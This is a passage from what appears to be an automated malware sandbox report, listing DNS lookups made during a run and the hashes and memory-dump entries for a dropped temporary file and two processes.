     147 B
     1
    1

    DNS Request

    217.106.137.52.in-addr.arpa

  • 8.8.8.8:53
    13.86.106.20.in-addr.arpa
    dns
    71 B
     157 B
     1
    1

    DNS Request

    13.86.106.20.in-addr.arpa

  • 8.8.8.8:53
    26.165.165.52.in-addr.arpa
    dns
    72 B
     146 B
     1
    1

    DNS Request

    26.165.165.52.in-addr.arpa

  • 8.8.8.8:53
    198.187.3.20.in-addr.arpa
    dns
    71 B
     157 B
     1
    1

    DNS Request

    198.187.3.20.in-addr.arpa

  • 8.8.8.8:53
    0.204.248.87.in-addr.arpa
    dns
    71 B
     116 B
     1
    1

    DNS Request

    0.204.248.87.in-addr.arpa

  • 8.8.8.8:53
    55.36.223.20.in-addr.arpa
    dns
    71 B
     157 B
     1
    1

    DNS Request

    55.36.223.20.in-addr.arpa

  • 8.8.8.8:53
    23.236.111.52.in-addr.arpa
    dns
    72 B
     158 B
     1
    1

    DNS Request

    23.236.111.52.in-addr.arpa

  • 8.8.8.8:53
    tse1.mm.bing.net
    dns
    62 B
     173 B
     1
    1

    DNS Request

    tse1.mm.bing.net

    DNS Response

    204.79.197.200
    13.107.21.200

  • 8.8.8.8:53
    200.197.79.204.in-addr.arpa
    dns
    73 B
     106 B
     1
    1

    DNS Request

    200.197.79.204.in-addr.arpa

MITRE ATT&CK Enterprise v15

Replay Monitor

Loading Replay Monitor...

Downloads

  • C:\Users\Admin\AppData\Local\Temp\kat50A0.tmp
    Filesize

    861KB

    MD5

    66064dbdb70a5eb15ebf3bf65aba254b

    SHA1

    0284fd320f99f62aca800fb1251eff4c31ec4ed7

    SHA256

    6a94dbda2dd1edcff2331061d65e1baf09d4861cc7ba590c5ec754f3ac96a795

    SHA512

    b05c6c09ae7372c381fba591c3cb13a69a2451b9d38da1a95aac89413d7438083475d06796acb5440cd6ec65b030c9fa6cbdaa0d2fe91a926bae6499c360f17f

    Download Submit

  • memory/1412-15-0x0000000000400000-0x0000000000646000-memory.dmp

    Filesize

    2.3MB

    Download

  • memory/1412-33-0x0000000000400000-0x0000000000646000-memory.dmp

    Filesize

    2.3MB

    Download

  • memory/1412-63-0x0000000000400000-0x0000000000646000-memory.dmp

    Filesize

    2.3MB

    Download

  • memory/1412-8-0x0000000000400000-0x0000000000646000-memory.dmp

    Filesize

    2.3MB

    Download

  • memory/1412-62-0x0000000000400000-0x0000000000646000-memory.dmp

    Filesize

    2.3MB

    Download

  • memory/1412-9-0x0000000000400000-0x0000000000646000-memory.dmp

    Filesize

    2.3MB

    Download

  • memory/1412-4-0x0000000000400000-0x0000000000646000-memory.dmp

    Filesize

    2.3MB

    Download

  • memory/1412-32-0x0000000000400000-0x0000000000646000-memory.dmp

    Filesize

    2.3MB

    Download

  • memory/1412-17-0x000000001B7B0000-0x000000001BA0F000-memory.dmp

    Filesize

    2.4MB

    Download

  • memory/1412-61-0x0000000000400000-0x0000000000646000-memory.dmp

    Filesize

    2.3MB

    Download

  • memory/1412-14-0x0000000000400000-0x0000000000646000-memory.dmp

    Filesize

    2.3MB

    Download

  • memory/1412-49-0x0000000000400000-0x0000000000646000-memory.dmp

    Filesize

    2.3MB

    Download

  • memory/1412-50-0x0000000000400000-0x0000000000646000-memory.dmp

    Filesize

    2.3MB

    Download

  • memory/4540-0-0x0000000002370000-0x0000000002371000-memory.dmp

    Filesize

    4KB

    Download

  • memory/4540-10-0x0000000000400000-0x000000000061C000-memory.dmp

    Filesize

    2.1MB

    Download

  • memory/4540-1-0x0000000004020000-0x0000000004169000-memory.dmp

    Filesize

    1.3MB

    Download

We care about your privacy.

This website stores cookies on your computer. These cookies are used to improve your website experience and provide more personalized services to you, both on this website and through other media. To find out more about the cookies we use, see our Privacy Policy.